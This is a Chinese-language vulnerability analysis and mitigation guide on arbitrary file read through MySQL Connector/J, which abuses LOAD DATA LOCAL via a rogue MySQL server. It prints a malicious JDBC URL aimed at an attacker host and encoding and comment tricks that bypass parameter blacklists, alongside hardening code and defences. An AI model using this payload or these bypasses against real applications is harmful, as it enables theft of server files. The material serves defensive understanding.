JDBC MySQL任意文件读取分析
字数 859 2025-08-25 22:58:20

JDBC MySQL任意文件读取漏洞分析与防护指南

漏洞概述

JDBC MySQL驱动中存在一个任意文件读取漏洞,攻击者可以通过构造特殊的连接参数,利用MySQL的LOAD DATA LOCAL功能读取服务器上的任意文件。该漏洞主要影响MySQL Connector/J(JDBC驱动)的使用场景。

漏洞原理

核心机制

  1. MySQL文件读取功能:MySQL服务端可以要求客户端读取有可读权限的任何文件(参考MySQL官方文档)
  2. JDBC连接参数控制:通过以下参数控制文件读取行为:
    • allowLoadLocalInfileInPath=/ - 设置读取的根目录
    • allowLoadLocalInfile=true - 允许本地文件读取
    • allowUrlInLocalInfile=true - 允许URL文件读取
    • maxAllowedPacket=655360 - 设置数据包大小

攻击流程

  1. 攻击者搭建伪造的MySQL服务器
  2. 诱使目标应用连接该服务器
  3. 伪造服务器发送包含fb类型的数据包,要求客户端发送指定文件
  4. 客户端读取并发送请求的文件内容

漏洞利用

完整Payload

jdbc:mysql://attacker-server:3306/test?
allowLoadLocalInfile=true&
allowUrlInLocalInfile=true&
allowLoadLocalInfileInPath=/&
maxAllowedPacket=655360

版本差异利用

MySQL Connector/J 8.0.x

  1. 注释符绕过:可使用#注释掉后续拼接的参数
    test?allowLoadLocalInfile=true#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false
    
  2. 参数编码绕过:参数名和值都可URL编码
    allowUrlInLocalInfil%65=%74%72%75%65
    

MySQL Connector/J 5.1.x

  1. 拼接绕过:使用&x=拼接后续参数
    test?allowLoadLocalInfile=true&x=
    
  2. 值编码:仅参数值可URL编码
    allowUrlInLocalInfile=%74%72%75%65
    

伪造MySQL服务器

推荐使用MySQL_Fake_Server工具搭建恶意服务器。

字符集问题修复
flags.py中添加UTF8MB4字符集定义:

45: "utf8mb4",  # 添加这行定义

防护方案

代码层面修复

String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true";

Class.forName(driver);
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
properties.setProperty("allowLoadLocalInfileInPath","");
Connection conn = DriverManager.getConnection(DB_URL, properties);

其他防护措施

  1. 升级到最新版MySQL Connector/J
  2. 实施参数黑名单时:
    • 必须先URL解码再匹配
    • 考虑所有可能的编码变体
  3. 限制应用服务器的文件系统访问权限

参考资源

  1. MySQL官方安全文档
  2. MySQL Connector/J安全属性
  3. 先知社区分析文章
JDBC MySQL任意文件读取漏洞分析与防护指南 漏洞概述 JDBC MySQL驱动中存在一个任意文件读取漏洞,攻击者可以通过构造特殊的连接参数,利用MySQL的 LOAD DATA LOCAL 功能读取服务器上的任意文件。该漏洞主要影响MySQL Connector/J(JDBC驱动)的使用场景。 漏洞原理 核心机制 MySQL文件读取功能 :MySQL服务端可以要求客户端读取有可读权限的任何文件(参考MySQL官方文档) JDBC连接参数控制 :通过以下参数控制文件读取行为: allowLoadLocalInfileInPath=/ - 设置读取的根目录 allowLoadLocalInfile=true - 允许本地文件读取 allowUrlInLocalInfile=true - 允许URL文件读取 maxAllowedPacket=655360 - 设置数据包大小 攻击流程 攻击者搭建伪造的MySQL服务器 诱使目标应用连接该服务器 伪造服务器发送包含 fb 类型的数据包,要求客户端发送指定文件 客户端读取并发送请求的文件内容 漏洞利用 完整Payload 版本差异利用 MySQL Connector/J 8.0.x 注释符绕过 :可使用 # 注释掉后续拼接的参数 参数编码绕过 :参数名和值都可URL编码 MySQL Connector/J 5.1.x 拼接绕过 :使用 &x= 拼接后续参数 值编码 :仅参数值可URL编码 伪造MySQL服务器 推荐使用 MySQL_ Fake_ Server 工具搭建恶意服务器。 字符集问题修复 : 在 flags.py 中添加UTF8MB4字符集定义: 防护方案 代码层面修复 其他防护措施 升级到最新版MySQL Connector/J 实施参数黑名单时: 必须先URL解码再匹配 考虑所有可能的编码变体 限制应用服务器的文件系统访问权限 参考资源 MySQL官方安全文档 MySQL Connector/J安全属性 先知社区分析文章